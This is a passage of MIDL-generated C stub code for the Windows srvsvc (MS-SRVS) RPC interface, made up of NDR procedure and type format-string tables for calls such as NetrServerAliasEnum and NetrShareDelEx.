*/\n\n\t/* Return value */\n\n/* 2956 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2958 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2960 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsManagerReportSiteInfo */\n\n/* 2962 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2968 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 2970 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2972 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2974 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2976 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2982 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2984 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2986 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2988 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2990 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2992 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2994 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2996 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2998 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ppSiteInfo */\n\n/* 3000 */\tNdrFcShort( 0x201b ),\t/* Flags:  must size, must free, in, out, srv alloc size=8 */\n/* 3002 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3004 */\tNdrFcShort( 0xd8c ),\t/* Type Offset=3468 */\n\n\t/* Return value */\n\n/* 3006 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3008 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportDelEx */\n\n/* 3012 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3014 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3018 */\tNdrFcShort( 0x35 ),\t/* 53 */\n/* 3020 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3022 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3024 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3026 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3028 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3030 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3032 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3034 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3036 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3038 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3044 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3046 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3048 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3050 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3052 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3054 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 3056 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3058 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3060 */\tNdrFcShort( 0xdde ),\t/* Type Offset=3550 */\n\n\t/* Return value */\n\n/* 3062 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3064 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3066 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerAliasAdd */\n\n/* 3068 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3070 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3074 */\tNdrFcShort( 0x36 ),\t/* 54 */\n/* 3076 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3078 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3080 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3082 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3084 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3086 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3088 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3090 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3094 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3100 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3104 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3106 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3108 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 3112 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3114 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3116 */\tNdrFcShort( 0xdf6 ),\t/* Type Offset=3574 */\n\n\t/* Return value */\n\n/* 3118 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3120 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerAliasEnum */\n\n/* 3124 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3126 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3130 */\tNdrFcShort( 0x37 ),\t/* 55 */\n/* 3132 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3134 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3136 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3138 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3140 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3142 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3144 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 3146 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3148 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3150 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3156 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3158 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3160 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 3162 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 3164 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3166 */\tNdrFcShort( 0xe92 ),\t/* Type Offset=3730 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 3168 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3170 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3172 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 3174 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3176 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 3180 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 3182 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3184 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 3186 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3188 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3190 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerAliasDel */\n\n/* 3192 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3198 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3200 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3202 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3204 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3206 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3208 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3210 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3212 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3214 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3218 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3222 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3224 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3226 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3228 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3230 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3232 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3234 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 3236 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3238 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3240 */\tNdrFcShort( 0xea6 ),\t/* Type Offset=3750 */\n\n\t/* Return value */\n\n/* 3242 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3244 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3246 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelEx */\n\n/* 3248 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3250 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3254 */\tNdrFcShort( 0x39 ),\t/* 57 */\n/* 3256 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3258 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3260 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3262 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3264 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3266 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3268 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3270 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3272 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3274 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3276 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3280 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3282 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3284 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3286 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ShareInfo */\n\n/* 3292 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3294 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3296 */\tNdrFcShort( 0xebe ),\t/* Type Offset=3774 */\n\n\t/* Return value */\n\n/* 3298 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3300 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING ms2Dsrvsvc__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/*  4 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/*  6 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/*  8 */\tNdrFcShort( 0xc4 ),\t/* Offset= 196 (204) */\n/* 10 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 12 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 14 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 16 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 18 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (30) */\n/* 30 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 32 */\tNdrFcShort( 0x3002 ),\t/* 12290 */\n/* 34 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 38 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (48) */\n/* 40 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 44 */\tNdrFcShort( 0x48 ),\t/* Offset= 72 (116) */\n/* 46 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (45) */\n/* 48 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 50 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (100) */\n/* 52 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 54 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 56 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 58 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 60 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 62 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 64 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 66 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 68 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 74 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 78 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 82 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 84 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 86 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 90 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 94 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 96 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (52) */\n/* 98 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 100 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 102 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (112) */\n/* 108 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 110 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 112 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 114 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (58) */\n/* 116 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 118 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (188) */\n/* 120 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 122 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 126 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (138) */\n/* 128 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 132 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 134 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 136 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 138 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 140 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 142 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 144 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 146 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 150 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 154 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 156 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 158 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 162 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 166 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 170 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 172 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 174 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 182 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 184 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (120) */\n/* 186 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 188 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 190 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 192 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (200) */\n/* 196 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 198 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 200 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 202 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (146) */\n/* 204 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 206 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 210 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (210) */\n/* 212 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 214 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 216 */\tNdrFcShort( 0xff32 ),\t/* Offset= -206 (10) */\n/* 218 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 220 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 222 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 224 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 228 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 230 */\tNdrFcShort( 0x92 ),\t/* Offset= 146 (376) */\n/* 232 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 234 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 236 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 238 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 240 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 242 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 246 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 250 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (252) */\n/* 252 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 254 */\tNdrFcShort( 0x3002 ),\t/* 12290 */\n/* 256 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 260 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (270) */\n/* 262 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 266 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (290) */\n/* 268 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (267) */\n/* 270 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 272 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (274) */\n/* 274 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 276 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 280 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (286) */\n/* 282 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 284 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 286 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 288 */\tNdrFcShort( 0xff1a ),\t/* Offset= -230 (58) */\n/* 290 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 292 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (360) */\n/* 294 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 296 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 300 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (310) */\n/* 302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 306 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 308 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 310 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 312 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 314 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 316 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 318 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 322 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 326 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 328 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 330 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 334 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 338 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 342 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 344 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 346 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 350 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 354 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX 